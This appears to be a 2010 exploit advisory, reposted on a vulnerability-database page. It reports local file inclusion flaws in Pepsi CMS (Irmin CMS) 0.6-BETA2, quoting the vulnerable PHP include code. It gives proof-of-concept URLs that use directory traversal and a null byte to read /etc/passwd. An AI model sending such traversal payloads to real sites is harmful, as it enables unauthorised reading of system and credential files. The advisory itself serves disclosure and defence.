Lucene search
K

Pepsi CMS (Irmin cms) pepsi-0.6-BETA2 Multiple Local File Vulnerability

🗓️ 31 Mar 2010 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 20 Views

Pepsi CMS (Irmin CMS) pepsi-0.6-BETA2 Multiple Local File Vulnerability CWE-2

Code

                                                ########################################################
    Pepsi CMS (Irmin cms) pepsi-0.6-BETA2 Multiple Local File Vulnerability
########################################################
 
    fucking the Web Apps [LFI #1 - attack edition
 
[+]Software:    Pepsi CMS (Irmin CMS)
[+]Version: pepsi-0.6-BETA2
[+]License: GNU/GPL
[+]Source:  http://sourceforge.net/projects/pepsicms/files/
[+]Risk:        High
[+]CWE:     CWE-22
[+]Local:       Yes
[+]Remote:  No
 
########################################################
 
[!] Discovered :    eidelweiss
[!] Contact :   eidelweiss[at]cyberservices[dot]com
[!] Thank`s :   sp3x (securityreason) - r0073r & 0x1D (inj3ct0r) loneferret - Exploits - dookie2000ca (exploit-db)
[!] Special To :    JosS (hack0wn) - g1xx_achmed - [D]eal [C]yber - Syabilla_putri (i miss u so much to)
 
########################################################
 
-=[Description]=-
 
    IrminCMS is a CMS (Content Management System) extensible and secure written in php
    Pepsi CMS is become of IrminCMS.
 
 
-=[ Vuln c0de ]=-
###############
    {index.php}
###############
 
<?php
if(!file_exists(".lock")) {
    $f = fopen(".basepath", "w");
    fwrite($f, "<?php define('BASEPATH', '".$_SERVER['DOCUMENT_ROOT']."'); ?>");
    fclose($f);
    fclose(fopen(".lock", "w"));
}
 
include (".basepath");
include ("config.php");
 
//very sweet
include "includes/template-loader.php";
 
 
 
###############
    {includes/template-loader.php}
###############
 
    include( 'config.php' );
    include( 'db.php' );
    //include( 'classes/theme_engine/engine.php' );
    include( $_Root_Path . 'classes/Smarty.class.php' );
 
########################################################
 
-=[ P0C ]=-
 
    Http://127.0.0.1/PATH/index.php?w=[LFI%]
 
    Http://127.0.0.1/PATH/includes/template-loader.php?_Root_Path=../../../../../../../../../etc/passwd%00
 
     
########################################################
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation